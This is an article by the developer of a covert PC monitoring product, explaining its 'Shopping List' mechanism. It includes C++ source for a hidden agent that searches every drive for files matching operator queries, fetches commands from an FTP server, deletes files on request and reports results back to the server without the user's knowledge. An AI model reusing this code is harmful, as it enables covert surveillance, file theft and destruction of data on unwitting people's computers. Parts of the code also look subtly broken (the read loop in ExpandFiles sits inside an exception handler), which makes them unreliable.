Target Eye Revealed: Part 3 - The Shopping List Mechanism

Introduction

This article is the third article in a series about the Target Eye Monitoring System, developed from 2000, and till 2010. The first article was about Target Eye's Auto Update mechanism, and how it is capable of checking for updates, downloading them when there are, installing them and running them instead of the old version currently running, all of the above, with no end-user intervention. The second article was about the Target Eye's screen capturing mechanism, and how compact JPG files are created combining a reasonable image quality and a small footprint. This article is about the Shopping List mechanism. The fourth article is about Keyboard Capturing. The fifth article is about the Cover Story mechanism, and the sixth article is about hiding files the Target Eye way.

Background

Target Eye Monitoring System, which I developed 12 years ago, was probably the first surveillance and monitoring tool for capturing activity of remote computers. The following description is taken from the original Business Plan of this venture:

Target Eye is a start-up company whose mission is to develop integrated software solutions for real-time monitoring of remote PCs, which are based on the company’s patent pending technologies (60/204,084 and 60/203,832). Our major product, Target Eye Monitoring System, is a software product that can continuously track, record, playback, analyze and report any activity performed on one or multiple remote PCs, in a way which is undetectable by their users. The software relies on a stream of rapidly captured, compressed full-screen images and continuous keystroke capturing to provide a comprehensive and accurate account of user activities, including local activities which do not generate any network traffic. In this way, the software can track and record activities, which are undetectable by systems relying on network traffic analysis. A smart agent module running on the monitored PCs uses a rule base to send alerts to the monitoring location(s) or perform pre-defined local operations. Monitoring can be performed from multiple locations. Major markets are law-enforcement.

The Shopping List Mechanism ™

Target Eye Monitoring System™ has a unique mechanism for bi-directional files requests from the monitored computer. Using the Shopping List Mechanism, the operator can define requests for which criteria needs to be used, and then, to modify these requests on the fly.

What is the Shopping List

The Shopping List is in fact, a file, managed manually by the Operator, and the Secret Agent.

The Operator defines the queries, and then manipulates and edits them, as well as their results, while the Secret Agent executes them and marks which one of the requested files we sent.

The Shopping List is constantly updated by the Secret Agent, and as a result, it can be used to get an updated view of the operation activity.

The Shopping List Naming Structure

In order of doing so, the Shopping List file is placed on the Server, and can be identified by its unique naming structure.

<OperationID><AgentID><ShoppingList Alias>   

For example:

If the OperationID is “SECRET00” and the AgentID is “IBM000000001”, and provided that the Shopping List Alias is “files.txt”, you will get:

SECRET00IBM000000001-files.txt

The Shopping List Query Structure

There are different types of entries which can be part of the Shopping List.

A Single Request

When the Operator needs a specific file, knowing its exact location, a Single Request is used.

For example:

To request the file 'autoexec.bat' located in C:\, the request would be:

[ ] c:\autoexec.bat

and after successful execution of this request, the entry will be:

[X] c:\autoexec.bat

or alternatively, in case of failure (for example: if there is no such file), the entry will be:

[!] c:\autoexec.bat

A Simple Query

When the Operator needs all files of a certain type, with or without specific name, a Simple Query is used. Such query will always start with [Q] and will use SQL syntax to define the criteria.

For example:

To request all DOC files containing the word 'spy', in any place in the monitored computer, the entry will be:

[Q] *spy*.doc

As a result, the Secret Agent might, for example, find the following files, and the operator will see the following entries added:

[ ] c:\docs\About Spyware.doc
[ ] d:\backup\A letter to james spyropolos.doc  

and so on.

Other Actions on Files

Files specified or found as a result of a query can not only be copied, but also deleted.

Deleting a File

When the Operator wishes to delete a single or several files, with or without specific name, a Simple Delete Query is used. Such query will always start with [D] and will use the Shopping List syntax to define the criteria.

For example:

To request all DOC files containing the word 'spy', in any place in the monitored computer, the entry will be:

[D] *spy*.doc

This will delete all Word documents with the string "spy" as part of their names.

Shopping List Mechanism - Shopping List Query

This is where a list of initial queries is entered. You can enter a number of queries, one after the other.

Shopping List Mechanism - Encrypt Shopping List on the Server

When this checkbox is checked, the Shopping List file will be encrypted on the Server. When it is unchecked, it is possible to use the Explorer to modify and edit this file on the fly, while getting faster results from the Secret Agent. For example: adding a new query. When the file is encrypted, the Target Eye Decryptor tool is required to make any changes.

Shopping List Mechanism - Ignore Files Larger Than

When this checkbox is checked, the amount of MB indicated below, are the higher limit of files that will be sent to the Server. Files which are larger than that size will be ignored.

Shopping List Related Settings

The Target Eye had a Compiler that was used along the evolution of the application to customize the "Secret Agent' part based on predefined and dynamically changed settings.

In the earlier versions, the Compiler looked like this:

and the part related to the Shopping List looked like this:

This part was enhanced and the 2007 version:

looked like this:

Performing Fast Files Searches

While developing Target Eye, I checked many methods for performing mass searching in a computer. The purpose was to find a way to search for thousand of files in seconds, scanning all drive letters, and building a list of results.

The FindFile class by Louka Dlagnekov seems to be an excellent solution. It works really fast and is reliable. I have enhanced it to filter the search queries for the last file access data (for example, searching for all .doc files from the last 30 days, was done using the query:

[Q] -d30 *.doc

Unless specified otherwise, and due to the nature of Target Eye to gather information, a query is executed while searching all drive letters and all folders in the monitored PC.

Some Source Code

The best way to explain the Shopping List mechanism is from bottom to top. So when we actually perform the search, it looks like this:

FindFileOptions_t opts;               /
opts.excludeDir = "*emulation*";
opts.excludeFile = "";
opts.recursive = true;
opts.returnFolders = false;
opts.terminateValue = NULL;
opts.days=q->Days;
FindFile find(opts);

The FindFileOption structure holds the details of the requested search:

• ExcludeDir - when NOT to search
• ExcludeFile - what NOT to search
• Recursive - indicates if we perform recursive searches when we come up with a folder. TRUE by default
• ReturnFolders - indicates if folders are also included in the search results. FALSE by default.
• TerminateValue - a value that if found, terminates the search
• Days - number of days the found files should have been last accessed.

Now we call find.search. There are 2 possible calls, based on the top level settings (which will be explained as well):

• Search at a specific location
• Search everywhere

If we search at a specific location, the call will look like this:

find.search(TRUE,WhatToSearch,WhereToSearch);

If we search everywhere, the call will look like this:

char drive[3];
strcpy(drive,"c:\\");
for (char dl='c';dl<='z';dl++)
{
     drive[0]=dl;
     find.search((dl=='c'),WhatToSearch,drive);
}

That way, we scan all drive letters. At this point, we collect the results:

int nfiles = (int) find.filelist.size();
__int64 size = find.listsize;
for(i=0;i<(int) find.filelist.size();i++)
{
   string fullname = FindFile::combinePath
                     (find.filelist[i].path, find.filelist[i].fileinfo.cFileName);
}

• fullname will now hold the result of the query
• nfiles contains the number of files found
• size contains the size of the files found in total. That is important for a monitoring application as we need to know how much data we need to send to the operator.

Managing the Shopping List

Now we can go one level above and examine the way the Shopping List was managed.

Before doing so, here are some terms used by Target Eye:

• Target Eye Secret Agent - The covert part of the product that runs on the monitored computer
• Target Eye Operator - The authority that operates the Secret Agent (for example: a Law Enforcement agency)
• A Mission - A request to perform an action. There are many possible actions (for example, capturing the screen, as described in an other article of mine). Since the scope of this article is the Shopping List mechanism, the Mission that is associated with the Shopping List could be copy or delete a file.
• Target Eye Compiler - The tool that is used by the Target Eye Operator to customize a Secret Agent for performing specific tasks.

The following code is taken form the 2004 version of Target Eye. This function is called only when there is no Shopping List already created. After the first time it is created, and from that moment, it will be updated as a result of 2 possible triggers:

• Target Eye Secret Agent completes (or fails) in a mission (client)
• Target Eye operator adds or deletes a mission (server)

The first thing that is done is building the initial query. This query is built according to the settings defined in the Target Eye Compiler. The initial query can be a combination of several queries. For example: the query "*.doc;*.xls" encapsulates two queries; "*.doc" (all files ending with ".doc") and "*.xls" (all files ending with ".xls").

Shopping List Synchronization

Before we bring the source code, I'd like to explain the idea behind the Shopping List synchronization. Since the Shopping List can be updated by both the client (Target Eye Secret Agent) and the server (Target Eye operator), there is a process for synchronizing the changes, so the Secret Agent is being notified about any change made by the operator (for example: if the operator removes a mission to copy a certain file, this file will not be copied), and the operator is being notified of any changes made by the client, namely, being updated about the progress of fulfilling the list of missions given to the Secret Agent. Most of the Shopping List related routines contains a part where the local shopping list is updated (or created) and a part where the shopping list is synchronized so the changes apply to the server version.

TE_BuildInitQuery()

This routine is called when there is no local shopping list yet and it should be built based on the settings defined by the operator.

void TE_BuildInitQuery()
{
	int n;
	CString SearchQuery=Options.Query; // initial query is based on the settings
	InitSearch.RemoveAll(); // dynamic array is emptied
	n=SearchQuery.Find(";"); // queries are extracted from the query line
	while(n>0)
	{
		InitSearch.Add("[Q] "+SearchQuery.Left(n));
		if(SearchQuery.GetLength()<n+1)
			break;
		else
			SearchQuery=SearchQuery.Mid(n+1);
		n=SearchQuery.Find(";");
	}
	if(SearchQuery.GetLength()>3)
	{
		InitSearch.Add("[Q] "+SearchQuery);
	}
}

CreateDefShoppingList()

The functions that calls TE_BuildInitQuery is CreateDefShoppingList() which then saves the separated queries into the local Shopping List. Then the local shopping list is synchronized with the server.

void CreateDefShoppingList()
{
	FILE *fp;
	TE_BuildInitQuery();
	fp=fopen(LOCAL_FILELIST,"w"); // create local Shopping List
	if (fp)
	{
		for(int i=0;i<InitSearch.GetSize();i++)
		{
			CString temp=TE_Encode(InitSearch[i]);
			fprintf(fp,"%s\n",temp); // adds a query
		}
		fclose(fp);
	}

	TE_Send(TE_FILELIST,TRUE,FALSE); // sends to server
	TargetEyeFiles.AddFile(TE_FILELIST,1003,SEND_FILELIST); // maintain a list of files
}

Expanding a Query

The last missing link in the explanation is the procedure of expanding a query into its results, while the results replace the query in the Shopping List.

void ExpandFiles()
{
	CString Line;
	BOOL EmptyFile=TRUE;
	int DoTry=FTPRETRIES;
	char s[255];
	char OrigFileName[160];

	// ExpandFiles() opens the ShoppingList file from server

	strcpy(OrigFileName,LOCAL_FILELIST);
	CInternetFile *pFile;
	TryAgain:;
	try
	{
		pFile = FtpConn->OpenFile(FTP_FILELIST);	// open the file
	}
	catch (CInternetException* pEx)
	{
		// handle errors
		pEx->Delete();
		pFile=NULL;
		if(DoTry-- > 0) 
		{
			goto TryAgain;
		}
		if(!pFile)
		{
			if(DoTry-- > 0) 
			{
				goto TryAgain;
			}		return;
		}

		// read each line
		FILE *fp=fopen(OrigFileName,"w");
		while(-1)
		{
			DoTry=FTPRETRIES;
	TryAgain2:;
		try
		{
			if (!pFile || !(pFile->ReadString(Line))) 
			{
				break;
			}
		}
		catch (CInternetException* pEx)
		{
			if(DoTry-- > 0) 
			{
				goto TryAgain2;
			}
			return;
		}
		Line=TE_Decode(Line);
		if (Line.GetLength()==0)
		{
			break;
		}

		// start processing a line
		EmptyFile=FALSE;
		if(Line.Left(3)=="[D]")		// a request to delete a file
		{
			char FileToDelete[255];
			int result;
			strcpy(FileToDelete,Line.Mid(4));
			result=DeleteFile(FileToDelete);
			if(result)			// deletion was successful
				sprintf(s,"[X] /DEL %s",Line.Mid(4));
			else				// deletion has failed
				sprintf(s,"[!] /DEL %s",Line.Mid(4));
			fprintf(fp,"%s\n",TE_Encode(s));
		}
		else
		if(Line.Left(3)=="[Q]")	// a request to search for files based on a query
		{
			CStringArray result;
			TE_OpenQuery(Line,&result);	    // run this query using the file search 
                                            // routines explained before
			if(result.GetUpperBound()>0)	// get the results
			{
				for (int i=0;i<result.GetUpperBound();i=i+2)// per each result. 
                                                            // Results come in two lines
				{
					// add results to a local Shopping List file
					sprintf(s,"%s",result[i]);
					fprintf(fp,"%s\n",TE_Encode(s));
					sprintf(s,"%s",result[i+1]);
					fprintf(fp,"%s\n",TE_Encode(s));
				}					
			}
			else
			{
				// failed to run query
				sprintf(s,"[!] %s",Line.Mid(5));
				fprintf(fp,"%s\n",TE_Encode(s));
			}
		}
		else
		{
			// handle any other type of line
			fprintf(fp,"%s\n",TE_Encode(Line));
		}
		}
	fclose(fp);
	pFile->Close();
}

At this stage, the local Shopping List is synced with the server.

TE_OpenQuery

The TE_OpenQuery is another building block that is used for actually calling the files search class. The result of a query is added to the Shopping List in two lines:

1. The file found marked as a file yet to be copied. For example: "[ ] result.doc"
2. Additional Information such as date, size, etc.

BOOL TE_OpenQuery(CString Line,CStringArray *result)
{
	char Q1[80];
	long Days=-1;
	CString QQ,Where="";
	// first we handle the "-s" switch which instructs searching in a specific place, 
	// as opposed to scanning all driver letters and all folders under it
	if(Line.Mid(4,2)=="-s")
	{
		if(Line.Mid(6,1)=='\'')
		{
			QQ=Line.Mid(7);
			int c=QQ.Find('\'');
			if (c>0) 
			{
				Where=QQ.Left(c);
				QQ=QQ.Mid(c+2);
			}
		}
		else
		{
			QQ=Line.Mid(6);
			int c=QQ.Find(' ');
			if (c>0) 
			{
				Where=QQ.Left(c);
				QQ=QQ.Mid(c+1);
			}
		}
		Line=Line.Left(4)+QQ;
	}
	// Then we handle the '-d' switch which is used to filter
	// the files found to the ones with N days old 
	// (for example: -d40 means 40 days old)
	if(Line.Mid(4,2)=="-d")
	{
		//opts.days=atol(Line.Mid(8,2))
		QQ=Line.Mid(6);
		int c=QQ.Find(' ');
		if (c>0) 
		{
			Days=atol(QQ.Left(c));
			QQ=QQ.Mid(c+1);
		}
		strcpy(Q1,QQ);
	}
	else
		strcpy(Q1,Line.Mid(4));
	// Call the FindFile class
	FindFileOptions_t opts;
	opts.excludeDir = "";
	opts.days=Days;
	opts.recursive = true;
	opts.returnFolders = false;
	opts.terminateValue = NULL;
	opts.excludeFile = "*.exe";
	FindFile find(opts);
	if(Where!="")
	{
		if(Where.Right(1)!='\\') Where+='\\';
		find.search(TRUE,Q1,Where.GetBuffer(1),Days);
	}
	else
	{
		// Scan all drive letters
		for(int i='c';i<'z';i++)
		{
			char dr[5]="c:\\";
			dr[0]=i;
			find.search((i=='c'),Q1,dr,Days);
		}
	}
		
	int nfiles = (int) find.filelist.size();
	__int64 size = find.listsize;	
	// number of files found are stored in : nfiles
	// size of files found is stored in : size 
	// Local Shopping List is kept in LOCAL_FILELIST);
	if(find.filelist.size())
	{
		for(int i=0;i<(int)find.filelist.size();i++)
		{
			char s[1024];
			string fullname = FindFile::combinePath
                  (find.filelist[i].path, find.filelist[i].fileinfo.cFileName);
			sprintf(s,"[ ] %s",fullname.c_str());
			result->Add(TE_Encode(s));
			sprintf(s,"'Date: %s Length = %ld",find.filelist[i].date.c_str(),
                         find.filelist[i].filesize / 1024);
			result->Add(TE_Encode(s));
		}
		return(TRUE);
	}
	else
		return(FALSE);
}

The TE_Encode and TE_Decode are macros used to handle encryption.

This article hasn't covered many additional options the Shopping List mechanism has, mostly to preserve a readable article.

History

• 12^th June, 2014: Initial version

Michael Haephrati, CodeProject MVP 2013